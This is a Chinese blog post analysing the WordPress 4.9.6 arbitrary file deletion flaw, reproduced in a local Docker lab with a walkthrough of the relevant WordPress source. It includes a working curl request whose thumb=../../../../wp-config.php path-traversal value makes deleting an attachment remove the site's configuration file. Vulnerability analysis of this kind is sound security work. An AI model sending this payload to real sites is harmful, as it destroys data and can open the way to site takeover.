Wordpress <= 4.9.6 任意文件删除漏洞分析(每周一洞)

0x01 前言

和预期超了几天,毕业了挺多聚会的,在学校的日子总是过得那么快,一转眼就毕业了。好些东西都没去好好珍惜,大学也不要求有多大的成就,就希望每天都能开开心心就最好的。
今天这篇文章的分析早就有人发过了,不过我觉得我还是得写一下,毕竟我要有我自己的风格。还是老样子,先测试漏洞怎么触发,然后再去做分析。

0x02 环境搭建

旧的和新的区别不大,只要不大于4.9.6就行了,这次测试的是4.6版本的,具体怎么搭建按照上一篇的文章方法搭建就行了,这里就不再过一遍了。
https://getpass.cn/2018/06/18/Analysis-of-WordPress%3C=4.6-Command-Execution-Vulnerability/

本文中用的搭建环境是docker+Kitematic,都差不多的,用图形界面比较方便些。

0x03 漏洞复现

1.漏洞执行流程

先给一个大概的框架,代码稍后再分析就会很明了了。

2.复现过程

-登录账号

-上传文件

-编辑文件

-执行Payload

首先要获取_wpnoncecookies还有post的id


然后执行:
curl -v 'http://127.0.0.1/wp-admin/post.php?post=5' -H 'Cookie: xxx' -d 'action=editattachment&_wpnonce=xxx&thumb=../../../../wp-config.php'
我这里用的是curl,在Macos比较方便,如果是win可以用抓包发包。

-删除文件

然后点击删除

执行完之后会跳转到安装界面。

然后wp-config.php也不在网站目录下了

0x04 漏洞分析

1.phpmyadmin安装

在命令行里面看数据不太好看,装个图形界面比较清楚,进入docker的交互式:
查看容器ID
docker ps
进入指定容器的交互式
docker exec -it ID /bin/bash

安装phpmyadmin,输入下面的命令就行了:
apt update
apt install phpmyadmin
然后输入MySQL的账号密码,再创建链接:
ln -s /usr/share/phpmyadmin /var/www/html/phpmyadmin
最后输入
htpp://127.0.0.1/phpmyadmin进入

2.分析如何插入thumb属性

我们看下Payload里面是传了什么参数:

  • post
  • action
  • thumb

post传入的ID就不分析了,直接看action的参数的值是editattachment,代码是在/wp-admin/post.php的178~189行

1
2
3
4
5
6
7
8
9
10
11
12
13
case 'editattachment':
check_admin_referer('update-post_' . $post_id);

// Don't let these be changed
unset($_POST['guid']);
$_POST['post_type'] = 'attachment';

// Update the thumbnail filename
$newmeta = wp_get_attachment_metadata( $post_id, true );
//这里把POST过来的thumb赋值给newmeta数值里面的thumb
$newmeta['thumb'] = $_POST['thumb'];
//执行update函数
wp_update_attachment_metadata( $post_id, $newmeta );

我们继续跟进wp_update_attachment_metadata函数,在/wp-includes/post.php文件的5079~5097行:

1
2
3
4
5
6
7
8
9
10
function wp_update_attachment_metadata( $attachment_id, $data ) {
$attachment_id = (int) $attachment_id;
if ( ! $post = get_post( $attachment_id ) ) {
return false;
}
if ( $data = apply_filters( 'wp_update_attachment_metadata', $data, $post->ID ) )
return update_post_meta( $post->ID, '_wp_attachment_metadata', $data );
else
return delete_post_meta( $post->ID, '_wp_attachment_metadata' );
}

上面一些函数过滤的可以直接去读一下,对插入这个值是没什么影响的,记住传入的$meta_key的值是_wp_attachment_metadata我们继续跟进函数update_post_meta,

1
$updated = update_metadata( 'post', $post_id, $meta_key, $meta_value, $prev_value );

这个函数没什么好分析的,我们继续跟进这个函数里面的update_metadata函数的202行:

1
2
3
if ( empty( $meta_ids ) ) {
return add_metadata( $meta_type, $object_id, $raw_meta_key, $passed_value );
}

继续跟进add_metadata函数,前面都是序列化操作和过滤操作,主要看96~100行的插入sql执行语句:

1
2
3
4
5
$result = $wpdb->insert( $table, array(
$column => $object_id,
'meta_key' => $meta_key,
'meta_value' => $meta_value
) );

我们来实现这个代码的执行流程,我们再次上传图片,然后执行Payload。

执行前的wp_postmeta_wp_attachment_metadata字段内容:
可以复制内容到https://1024tools.com/unserialize 网站,也可以用浏览器插件

执行后:

可以看出已经成功插入thumb的内容了。

3.分析任意文件删除

还是从文件/wp-admin/post.php开始分析,找到action是delete的case地方,在246~2268行,它这里判断了post_type是否等于attachment,这个在上面插入的那个函数里面已经赋值了,可以回去看下183行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
case 'delete':
check_admin_referer('delete-post_' . $post_id);

if ( ! $post )
wp_die( __( 'This item has already been deleted.' ) );

if ( ! $post_type_object )
wp_die( __( 'Invalid post type.' ) );

if ( ! current_user_can( 'delete_post', $post_id ) )
wp_die( __( 'Sorry, you are not allowed to delete this item.' ) );

if ( $post->post_type == 'attachment' ) {
$force = ( ! MEDIA_TRASH );
if ( ! wp_delete_attachment( $post_id, $force ) )
wp_die( __( 'Error in deleting.' ) );
} else {
if ( ! wp_delete_post( $post_id, true ) )
wp_die( __( 'Error in deleting.' ) );
}

wp_redirect( add_query_arg('deleted', 1, $sendback) );
exit();

我们继续跟进wp_delete_attachment函数,在wp-includes/post.php的5002~5010行,可以看到执行sql语句查询出来的$meta['thumb']的值,然后下面也没过滤直接就带入了unlink函数,而且通过上面的分析$meta['thumb']的值是可控的,这样就造成了任意文件的删除。

1
2
3
4
5
6
7
8
9
if ( ! empty($meta['thumb']) ) {
// Don't delete the thumb if another attachment uses it.
if (! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $wpdb->esc_like( $meta['thumb'] ) . '%', $post_id)) ) {
$thumbfile = str_replace(basename($file), $meta['thumb'], $file);
/** This filter is documented in wp-includes/functions.php */
$thumbfile = apply_filters( 'wp_delete_file', $thumbfile );
@ unlink( path_join($uploadpath['basedir'], $thumbfile) );
}
}

0x05 结束

写这个文章写到一半忘了保存又重新写了一遍,心累。。。

0x06 参考

https://blog.vulnspy.com/2018/06/27/Wordpress-4-9-6-Arbitrary-File-Delection-Vulnerbility/
https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/
https://1024tools.com/unserialize

当前网速较慢或者你使用的浏览器不支持博客特定功能,请尝试刷新或换用Chrome、Firefox等现代浏览器